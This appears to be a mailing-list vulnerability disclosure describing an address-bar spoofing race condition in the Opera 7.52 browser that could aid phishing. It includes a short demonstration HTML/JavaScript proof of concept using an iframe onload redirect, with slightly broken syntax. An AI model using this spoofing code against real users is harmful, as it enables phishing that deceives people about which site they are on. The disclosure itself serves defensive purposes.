Hi List.

A vulnerability is found in the Opera browser version 7.52 , which potentially can be exploited by malicious people to conduct phishing attacks against a user.

The issue may be caused due to a race condition and will sometimes
make it possible to display spoofed information in the address bar
via a specially crafted HTML document.

Tested on WindowsXP SP1.

Demonstration HTML source code:

======== begin ========

[!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html lang="en"]
[head]
[meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"]
[meta http-equiv="Content-Script-Type" content="text/javascript"]

function urlfake(){
location.href="http://www.microsoft.com/";;

function preinline () {
myvar = '[iframe onload="urlfake()" ';
myvar = myvar +  'title="preload inline frame" ';
myvar = myvar + 'src="http://www.opera.com/"; ';
myvar = myvar +  'frameborder="0" width="760" height="1800" ';
myvar = myvar +  'marginwidth="0" marginheight="0"]';
myvar = myvar +  '[' + '/iframe]';
document.write (myvar);
}

========= end =========
(Sorry,too long code.)

Thank you, List.
